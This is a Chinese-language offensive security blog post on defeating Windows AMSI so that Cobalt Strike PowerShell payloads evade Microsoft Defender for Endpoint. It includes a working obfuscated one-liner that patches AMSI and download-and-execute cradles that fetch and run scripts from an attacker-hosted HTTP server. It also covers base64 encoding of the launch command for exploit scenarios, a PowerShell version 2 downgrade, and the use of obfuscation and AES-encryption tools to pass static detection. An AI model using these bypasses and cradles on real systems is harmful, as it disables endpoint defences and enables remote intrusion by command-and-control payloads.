当我对所有事情都厌倦的时候,我就会想到你,想到你在世界某个地方生活着、存在着,我就愿意去承受一切。你的存在对我很重要。from 《美国往事》
在PowerShell无文件攻击流行了一段时间后,微软在Windows 10中引入了AMSI(Antimalware Scan Interface)接口,经过几年的更新迭代,到目前为止,基本所有比较知名的PowerShell编写的攻击工具都会被Windows Defender拦截,比如PowerSploit,PowerView,cobaltstrike的PowerShell payload等。
下面以cobaltstrike PowerShell payload为例,介绍目前几种可以绕过AMSI的方法。
如果目标环境启用了PowerShell 版本2,或者我们有权限启用PowerShell 版本2,则可以使用PowerShell 版本2绕过AMSI,因为低版本PowerShell没有集成AMSI接口。下面以cobaltstrike payload为例说明具体过程。
首先生成一个cobaltstrike的PowerShell payload:
因为默认生成的payload特征比较明显,绝大多数防病毒软件通过静态特征就 能检测到,所以我们先将上面生成的PowerShell脚本下载到本地:
. .\Invoke-Stealth.ps1 .\raw.ps1 -techique all
使用PowerShell 版本2 在配置了Microsoft Defender for Endpoint的终端执行混淆后到脚本,没有被拦截:
cobaltstrike payload可正常执行:
需要注意的是这种方法EDR之类的产品可能检测到,比如Microsoft Defender for Endpoint会产生告警:
而且部分脚本可能在PowerShell 版本2无法正常运行。
下面介绍第二种方法,通过patch AMSI的方式,执行cobaltstrike的payload及其他PowerShell工具。
思路是我们首先patch AMSI,然后在同一个PowerShell会话中执行我们的payload。
这里使用下面的代码来patch AMSI:
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
我们先将上面代码保存为info1.txt,然后将方法1中提取的cobaltstrike的payload保存为info2.txt:
最后创建一个文件update.txt,内容如下,用来在同一个PowerShell会话中执行上面两个脚本里面的代码:
$Gctlnf='TeRD9EIRNVnWijiTkM4uVPl4NEZBW3CC';$Qdytvx=New-Object Net.WebClient;IEX $Qdytvx.DownloadString(http://192.168.200.2:8000/info1.txt)
$Gctlnf='TeRD9EIRNVnWijiTkM4uVPl4NEZBW3CC';$Qdytvx=New-Object Net.WebClient;IEX $Qdytvx.DownloadString(http://192.168.200.2:8000/info2.txt)
通过http server托管上面三个文件后,在目标主机使用下面命令远程下载update.txt并无文件执行:
(New-Object Net.WebClient).DownloadString(http://192.160.200.2:8000/update.txt) |IEX"
MDE不会拦截,cobaltstrike payload也能正常执行:
如果是漏洞利用的场景,下载命令里面可能不能有多余的引号,这时可以对PowerShell命令进行编码:
$text = "(New-Object System.Net.WebClient).DownloadString(http://192.168.3.11:8000/run.txt) | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
然后使用powershell -enc <base64 command>执行即可。
上面通过手动的方式patch AMSI并执行payload,目前也有两个工具对上述过程进行了自动化。
第一个工具是powershell-obfuscation,这个脚本先对bypass AMSI的代码进行了混淆,然后使用自定义函数对我们的payload进行混淆。这样执行混淆后的脚本时,会先patch AMSI,然后解码并执行我们的payload代码。使用方法比较简单:
.\powershell-obfuscation.ps1 -f .\raw.ps1
生成的文件可以过静态查杀:
将生成的文件bypass.ps1托管的vps远程下载执行,或者直接在本地执行都可以。这里重名命为hello.txt并远程下载执行:
另一个工具AES-Encoder,也是相同的思路,只是使用AES进行了加密。使用时先导入模块,然后调用Invoke-AES-Encoder方法进行加密,可以使用-Iterations参数指定加密的次数:
生成的文件也能过静态查杀以及AMSI检测。
对于AMSI绕过的方法,除了上面两个脚本中使用到的,还有其他一些方法,具体可以参考https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell。如果上面脚本中使用的方法不可用了,大家可以替换为Amsi-Bypass-Powershell中介绍到的新的方法。但是Amsi-Bypass-Powershell中的部分方法默认也会被AMSI检测到,所以使用前也需要先进行编码和混淆。
另外,cobaltstrike使用shell执行命令,会调用cmd执行系统命令,多数EDR都能检测到:
这里只是介绍绕过AMSI执行PowerShell脚本的方法,EDR的绕过方法后面再进行介绍。
上面介绍的绕过AMSI执行PowerShell脚本的方法,对于其他PowerShell脚本也同样有效,比如PowerView,DomainPasswordSpray.ps1等等。这里也只是抛砖引玉,大家可以在上面介绍的方法上基础上,进一步扩展和完善,比如通过C#调用.NET接口来bypass AMSI并执行powershell payload,绕过EDR的命令行检测。
如果大家有好的方法和思路,也欢迎沟通交流。
~With best wishes.~
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://github.com/Chainski/AES-Encoder
https://github.com/H4de5-7/powershell-obfuscation
https://learn.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-the-windows-powershell-2.0-engine?view=powershell-7.3
https://github.com/JoelGMSec/Invoke-Stealth